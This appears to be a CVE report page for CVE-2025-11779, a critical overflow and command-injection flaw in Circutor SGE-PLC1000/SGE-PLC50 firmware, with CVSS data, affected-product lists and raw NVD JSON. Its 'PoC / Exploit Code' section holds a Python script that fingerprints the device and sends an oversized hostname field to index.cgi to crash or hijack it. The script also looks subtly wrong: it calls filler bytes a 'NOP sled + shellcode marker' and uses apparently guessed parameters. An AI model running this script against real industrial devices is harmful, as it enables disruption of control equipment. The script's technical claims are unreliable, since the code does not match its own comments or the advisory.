Security Vulnerability Report
中文
CVE-2025-11779 CVSS 9.8 CRITICAL

CVE-2025-11779

Published: 2025-12-02 13:15:49
Last Modified: 2025-12-03 19:07:25

Description

Stack-based buffer overflow vulnerability in CircutorSGE-PLC1000/SGE-PLC50 v9.0.2. The 'SetLan' function is invoked when a new configuration is applied. This new configuration function is activated by a management web request, which can be invoked by a user when making changes to the 'index.cgi' web application. The parameters are not being sanitised, which could lead to command injection.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:circutor:sge-plc1000_firmware:9.0.2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:circutor:sge-plc1000:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:circutor:sge-plc50_firmware:9.0.2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:circutor:sge-plc50:-:*:*:*:*:*:*:* - NOT VULNERABLE
Circutor SGE-PLC1000 < v9.0.2
Circutor SGE-PLC50 < v9.0.2
Circutor SGE-PLC1000 = v9.0.2
Circutor SGE-PLC50 = v9.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-11779 PoC - Circutor SGE-PLC1000/SGE-PLC50 SetLan Buffer Overflow # Target: Circutor SGE-PLC1000/SGE-PLC50 with SetLan function vulnerability TARGET_IP = "<target_ip>" TARGET_PORT = 80 def exploit_cve_2025_11779(): """ Exploit for CVE-2025-11779: SetLan function buffer overflow in Circutor SGE-PLC devices This PoC demonstrates sending a crafted request to trigger the buffer overflow in SetLan function """ # Construct malicious payload with oversized parameter to trigger buffer overflow # The SetLan function does not properly validate input length before copying to stack buffer payload = { 'SetLan': 'eth0', # Network interface 'ipaddr': '192.168.1.100', 'netmask': '255.255.255.0', 'gateway': '192.168.1.1', # Overflow payload - oversized string to trigger stack buffer overflow 'hostname': 'A' * 1000 + '\x00' * 4 + '\x41\x42\x43\x44' # NOP sled + shellcode marker } url = f"http://{TARGET_IP}:{TARGET_PORT}/cgi-bin/index.cgi" try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload['hostname'])}") # Send crafted request to trigger SetLan function vulnerability response = requests.post(url, data=payload, timeout=10) print(f"[+] Request sent, Status code: {response.status_code}") print(f"[*] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[*] Note: Target may be unreachable or already patched") def check_vulnerability(): """ Check if target is vulnerable by sending diagnostic request """ url = f"http://{TARGET_IP}:{TARGET_PORT}/cgi-bin/index.cgi" # Basic fingerprint check params = {'action': 'GetLan'} try: response = requests.get(url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Target appears to be a Circutor device") print(f"[*] Version check: Attempting to identify firmware version") return True except: pass return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-11779 PoC - Circutor SGE-PLC SetLan Overflow") print("=" * 60) if check_vulnerability(): print("[+] Target is potentially vulnerable") exploit_cve_2025_11779() else: print("[-] Target does not appear to be vulnerable")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11779", "sourceIdentifier": "[email protected]", "published": "2025-12-02T13:15:48.583", "lastModified": "2025-12-03T19:07:24.863", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Stack-based buffer overflow vulnerability in CircutorSGE-PLC1000/SGE-PLC50 v9.0.2. The 'SetLan' function is invoked when a new configuration is applied. This new configuration function is activated by a management web request, which can be invoked by a user when making changes to the 'index.cgi' web application. The parameters are not being sanitised, which could lead to command injection."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:circutor:sge-plc1000_firmware:9.0.2:*:*:*:*:*:*:*", "matchCriteriaId": "3FC715A9-6F95-4795-B3B1-1BFAF88ACCE9"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:circutor:sge-plc1000:-:*:*:*:*:*:*:*", "matchCriteriaId": "FFF41215-1018-42DD-9A7E-BBC2E5B4522D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:circutor:sge-plc50_firmware:9.0.2:*:*:*:*:*:*:*", "matchCriteriaId": "203C8B5E-582A-4680-B324-B9092F01462B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:circutor:sge-plc50:-:*:*:*:*:*:*:*", "matchCriteriaId": "447D1571-5329-422D-8E31-F4964E412FC3"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-circutor-products-0", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}